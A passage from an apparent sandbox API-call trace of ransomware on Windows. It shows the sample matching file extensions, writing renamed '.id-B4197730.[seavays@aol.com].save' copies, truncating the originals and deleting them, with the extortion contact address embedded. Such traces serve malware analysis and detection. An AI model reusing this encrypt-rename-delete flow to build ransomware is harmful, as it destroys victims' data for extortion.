(lpString=".rar") returned 4 [0056.198] lstrcmpiW (lpString1=".rar", lpString2=".htm") returned 1 [0056.198] lstrlenW (lpString=".bz2") returned 4 [0056.198] lstrcmpiW (lpString1=".bz2", lpString2=".htm") returned -1 [0056.198] lstrlenW (lpString=".7z") returned 3 [0056.198] lstrcmpiW (lpString1=".7z", lpString2="htm") returned -1 [0056.198] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Hand Prints.htm") returned 73 [0056.198] lstrlenW (lpString=".dbf") returned 4 [0056.198] lstrcmpiW (lpString1=".dbf", lpString2=".htm") returned -1 [0056.198] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Hand Prints.htm") returned 73 [0056.198] lstrlenW (lpString=".1cd") returned 4 [0056.198] lstrcmpiW (lpString1=".1cd", lpString2=".htm") returned -1 [0056.198] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Hand Prints.htm") returned 73 [0056.198] lstrlenW (lpString=".jpg") returned 4 [0056.198] lstrcmpiW (lpString1=".jpg", lpString2=".htm") returned 1 [0056.198] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Hand Prints.htm") returned 73 [0056.198] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Hand Prints.htm") returned 73 [0056.198] lstrlenW (lpString=".doc") returned 4 [0056.198] lstrcmpiW (lpString1=".doc", lpString2=".htm") returned -1 [0056.199] lstrlenW (lpString=".docx") returned 5 [0056.199] lstrcmpiW (lpString1=".docx", lpString2="s.htm") returned -1 [0056.199] lstrlenW (lpString=".pdf") returned 4 [0056.199] lstrcmpiW (lpString1=".pdf", lpString2=".htm") returned 1 [0056.199] lstrlenW (lpString=".xls") returned 4 [0056.199] lstrcmpiW (lpString1=".xls", lpString2=".htm") returned 1 [0056.199] lstrlenW (lpString=".xlsx") returned 5 [0056.199] lstrcmpiW (lpString1=".xlsx", lpString2="s.htm") returned -1 [0056.199] lstrlenW (lpString=".ppt") returned 4 [0056.199] lstrcmpiW (lpString1=".ppt", lpString2=".htm") returned 1 [0056.199] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Hand Prints.htm") returned 73 [0056.199] lstrlenW (lpString=".zip") returned 4 [0056.199] lstrcmpiW (lpString1=".zip", lpString2=".htm") returned 1 [0056.199] lstrlenW (lpString=".rar") returned 4 [0056.199] lstrcmpiW (lpString1=".rar", lpString2=".htm") returned 1 [0056.199] lstrlenW (lpString=".bz2") returned 4 [0056.199] lstrcmpiW (lpString1=".bz2", lpString2=".htm") returned -1 [0056.199] lstrlenW (lpString=".7z") returned 3 [0056.199] lstrcmpiW (lpString1=".7z", lpString2="htm") returned -1 [0056.199] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Hand Prints.htm") returned 73 [0056.199] lstrlenW (lpString=".dbf") returned 4 [0056.199] lstrcmpiW (lpString1=".dbf", lpString2=".htm") returned -1 [0056.199] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Hand Prints.htm") returned 73 [0056.199] lstrlenW (lpString=".1cd") returned 4 [0056.199] lstrcmpiW (lpString1=".1cd", lpString2=".htm") returned -1 [0056.199] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Hand Prints.htm") returned 73 [0056.199] lstrlenW (lpString=".jpg") returned 4 [0056.199] lstrcmpiW (lpString1=".jpg", lpString2=".htm") returned 1 [0056.199] lstrcmpiW (lpString1=".jpg", lpString2=".save") returned -1 [0056.199] lstrlenW (lpString="HandPrints.jpg") returned 14 [0056.200] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\HandPrints.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\handprints.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0056.200] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=4222) returned 1 [0056.200] CloseHandle (hObject=0x34c) returned 1 [0056.200] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\HandPrints.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\handprints.jpg")) returned 0x20 [0056.200] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\HandPrints.jpg.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\handprints.jpg.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0056.200] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\HandPrints.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\handprints.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0056.200] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\HandPrints.jpg") returned 72 [0056.200] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\HandPrints.jpg") returned 72 [0056.201] lstrlenW (lpString=".doc") returned 4 [0056.201] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0056.201] lstrlenW (lpString=".docx") returned 5 [0056.201] lstrcmpiW (lpString1=".docx", lpString2="s.jpg") returned -1 [0056.201] lstrlenW (lpString=".pdf") returned 4 [0056.201] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1 [0056.201] lstrlenW (lpString=".xls") returned 4 [0056.201] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1 [0056.201] lstrlenW (lpString=".xlsx") returned 5 [0056.201] lstrcmpiW (lpString1=".xlsx", lpString2="s.jpg") returned -1 [0056.201] lstrlenW (lpString=".ppt") returned 4 [0056.201] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1 [0056.201] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\HandPrints.jpg") returned 72 [0056.201] lstrlenW (lpString=".zip") returned 4 [0056.201] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1 [0056.201] lstrlenW (lpString=".rar") returned 4 [0056.201] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1 [0056.201] lstrlenW (lpString=".bz2") returned 4 [0056.201] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0056.201] lstrlenW (lpString=".7z") returned 3 [0056.201] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0056.201] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\HandPrints.jpg") returned 72 [0056.201] lstrlenW (lpString=".dbf") returned 4 [0056.201] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1 [0056.242] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0056.242] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0056.242] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash.gif.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash.gif.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0056.242] GetLastError () returned 0x0 [0056.242] ReadFile (in: hFile=0x314, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x218e, lpOverlapped=0x0) returned 1 [0056.244] WriteFile (in: hFile=0x2f0, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0x2190, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0x2190, lpOverlapped=0x0) returned 1 [0056.245] ReadFile (in: hFile=0x314, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1 [0056.245] WriteFile (in: hFile=0x2f0, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0xe8, lpOverlapped=0x0) returned 1 [0056.245] SetEndOfFile (hFile=0x2f0) returned 1 [0056.245] CloseHandle (hObject=0x2f0) returned 1 [0056.246] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0056.246] SetEndOfFile (hFile=0x314) returned 1 [0056.247] CloseHandle (hObject=0x314) returned 1 [0056.247] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash.gif.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0056.247] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash.gif")) returned 1 [0056.247] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash.gif") returned 56 [0056.247] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash.gif") returned 56 [0056.247] lstrlenW (lpString=".doc") returned 4 [0056.248] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1 [0056.248] lstrlenW (lpString=".docx") returned 5 [0056.248] lstrcmpiW (lpString1=".docx", lpString2="h.gif") returned -1 [0056.248] lstrlenW (lpString=".pdf") returned 4 [0056.248] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1 [0056.248] lstrlenW (lpString=".xls") returned 4 [0056.248] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1 [0056.248] lstrlenW (lpString=".xlsx") returned 5 [0056.248] lstrcmpiW (lpString1=".xlsx", lpString2="h.gif") returned -1 [0056.248] lstrlenW (lpString=".ppt") returned 4 [0056.248] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1 [0056.248] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash.gif") returned 56 [0056.248] lstrlenW (lpString=".zip") returned 4 [0056.248] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1 [0056.248] lstrlenW (lpString=".rar") returned 4 [0056.248] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1 [0056.248] lstrlenW (lpString=".bz2") returned 4 [0056.248] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0056.248] lstrlenW (lpString=".7z") returned 3 [0056.248] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0056.248] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash.gif") returned 56 [0056.248] lstrlenW (lpString=".dbf") returned 4 [0056.248] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1 [0056.248] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash.gif") returned 56 [0056.248] lstrlenW (lpString=".1cd") returned 4 [0056.248] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0056.248] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash.gif") returned 56 [0056.248] lstrlenW (lpString=".jpg") returned 4 [0056.248] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1 [0056.248] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash.gif") returned 56 [0056.248] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash.gif") returned 56 [0056.248] lstrlenW (lpString=".doc") returned 4 [0056.249] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1 [0056.249] lstrlenW (lpString=".docx") returned 5 [0056.249] lstrcmpiW (lpString1=".docx", lpString2="h.gif") returned -1 [0056.249] lstrlenW (lpString=".pdf") returned 4 [0056.249] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1 [0056.249] lstrlenW (lpString=".xls") returned 4 [0056.249] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1 [0056.249] lstrlenW (lpString=".xlsx") returned 5 [0056.249] lstrcmpiW (lpString1=".xlsx", lpString2="h.gif") returned -1 [0056.249] lstrlenW (lpString=".ppt") returned 4 [0056.249] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1 [0056.249] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash.gif") returned 56 [0056.249] lstrlenW (lpString=".zip") returned 4 [0056.249] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1 [0056.249] lstrlenW (lpString=".rar") returned 4 [0056.249] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1 [0056.249] lstrlenW (lpString=".bz2") returned 4 [0056.249] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0056.249] lstrlenW (lpString=".7z") returned 3 [0056.249] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0056.249] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash.gif") returned 56 [0056.249] lstrlenW (lpString=".dbf") returned 4 [0056.249] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1 [0056.249] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash.gif") returned 56 [0056.249] lstrlenW (lpString=".1cd") returned 4 [0056.249] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0056.249] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash.gif") returned 56 [0056.249] lstrlenW (lpString=".jpg") returned 4 [0056.249] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1 [0056.249] lstrcmpiW (lpString1=".gif", lpString2=".save") returned -1 [0056.250] lstrlenW (lpString="splash_11-lic.gif") returned 17 [0056.250] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0056.250] GetFileSizeEx (in: hFile=0x314, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=7805) returned 1 [0056.250] CloseHandle (hObject=0x314) returned 1 [0056.250] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif")) returned 0x20 [0056.250] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0056.250] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0056.250] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0056.250] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0056.250] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0056.250] GetLastError () returned 0x0 [0056.250] ReadFile (in: hFile=0x314, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x1e7d, lpOverlapped=0x0) returned 1 [0056.252] WriteFile (in: hFile=0x2f0, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0x1e80, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0x1e80, lpOverlapped=0x0) returned 1 [0056.253] ReadFile (in: hFile=0x314, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1 [0056.253] WriteFile (in: hFile=0x2f0, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0xf6, lpOverlapped=0x0) returned 1 [0056.253] SetEndOfFile (hFile=0x2f0) returned 1 [0056.253] CloseHandle (hObject=0x2f0) returned 1 [0056.256] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0056.256] SetEndOfFile (hFile=0x314) returned 1 [0056.257] CloseHandle (hObject=0x314) returned 1 [0056.257] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0056.257] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif")) returned 1 [0056.257] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif") returned 63 [0056.257] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif") returned 63 [0056.257] lstrlenW (lpString=".doc") returned 4 [0056.257] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1 [0056.257] lstrlenW (lpString=".docx") returned 5 [0056.257] lstrcmpiW (lpString1=".docx", lpString2="c.gif") returned -1 [0056.257] lstrlenW (lpString=".pdf") returned 4 [0056.257] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1 [0056.258] lstrlenW (lpString=".xls") returned 4 [0056.258] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1 [0056.258] lstrlenW (lpString=".xlsx") returned 5 [0056.258] lstrcmpiW (lpString1=".xlsx", lpString2="c.gif") returned -1 [0056.258] lstrlenW (lpString=".ppt") returned 4 [0056.258] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1 [0056.258] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif") returned 63 [0056.258] lstrlenW (lpString=".zip") returned 4 [0056.258] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1 [0056.258] lstrlenW (lpString=".rar") returned 4 [0056.258] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1 [0056.258] lstrlenW (lpString=".bz2") returned 4 [0056.258] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0056.258] lstrlenW (lpString=".7z") returned 3 [0056.258] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0056.258] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif") returned 63 [0056.258] lstrlenW (lpString=".dbf") returned 4 [0056.258] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1 [0056.258] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif") returned 63 [0056.258] lstrlenW (lpString=".1cd") returned 4 [0056.258] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0056.258] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif") returned 63 [0056.258] lstrlenW (lpString=".jpg") returned 4 [0056.258] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1 [0056.258] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif") returned 63 [0056.258] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif") returned 63 [0056.258] lstrlenW (lpString=".doc") returned 4 [0056.258] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1 [0056.258] lstrlenW (lpString=".docx") returned 5 [0056.258] lstrcmpiW (lpString1=".docx", lpString2="c.gif") returned -1 [0056.258] lstrlenW (lpString=".pdf") returned 4 [0056.258] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1 [0056.258] lstrlenW (lpString=".xls") returned 4 [0056.259] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1 [0056.259] lstrlenW (lpString=".xlsx") returned 5 [0056.259] lstrcmpiW (lpString1=".xlsx", lpString2="c.gif") returned -1 [0056.259] lstrlenW (lpString=".ppt") returned 4 [0056.259] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1 [0056.259] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif") returned 63 [0056.259] lstrlenW (lpString=".zip") returned 4 [0056.259] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1 [0056.259] lstrlenW (lpString=".rar") returned 4 [0056.259] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1 [0056.259] lstrlenW (lpString=".bz2") returned 4 [0056.259] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0056.259] lstrlenW (lpString=".7z") returned 3 [0056.259] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0056.259] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif") returned 63 [0056.259] lstrlenW (lpString=".dbf") returned 4 [0056.259] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1 [0056.259] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif") returned 63 [0056.259] lstrlenW (lpString=".1cd") returned 4 [0056.259] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0056.259] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11-lic.gif") returned 63 [0056.259] lstrlenW (lpString=".jpg") returned 4 [0056.259] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1 [0056.259] lstrcmpiW (lpString1=".gif", lpString2=".save") returned -1 [0056.259] lstrlenW (lpString="splash_11@2x-lic.gif") returned 20 [0056.259] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0056.260] GetFileSizeEx (in: hFile=0x314, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=12250) returned 1 [0056.260] CloseHandle (hObject=0x314) returned 1 [0056.260] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif")) returned 0x20 [0056.260] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0056.260] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0056.260] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0056.260] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0056.260] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0056.260] GetLastError () returned 0x0 [0056.260] ReadFile (in: hFile=0x314, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x2fda, lpOverlapped=0x0) returned 1 [0056.262] WriteFile (in: hFile=0x2f0, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0x2fe0, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0x2fe0, lpOverlapped=0x0) returned 1 [0056.263] ReadFile (in: hFile=0x314, lpBuffer=0x4149020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1 [0056.263] WriteFile (in: hFile=0x2f0, lpBuffer=0x4149020*, nNumberOfBytesToWrite=0xfc, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x4149020*, lpNumberOfBytesWritten=0x378fc94*=0xfc, lpOverlapped=0x0) returned 1 [0056.263] SetEndOfFile (hFile=0x2f0) returned 1 [0056.263] CloseHandle (hObject=0x2f0) returned 1 [0056.265] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0056.265] SetEndOfFile (hFile=0x314) returned 1 [0056.266] CloseHandle (hObject=0x314) returned 1 [0056.266] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0056.266] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif")) returned 1 [0056.266] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif") returned 66 [0056.266] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif") returned 66 [0056.266] lstrlenW (lpString=".doc") returned 4 [0056.266] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1 [0056.266] lstrlenW (lpString=".docx") returned 5 [0056.266] lstrcmpiW (lpString1=".docx", lpString2="c.gif") returned -1 [0056.266] lstrlenW (lpString=".pdf") returned 4 [0056.266] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1 [0056.266] lstrlenW 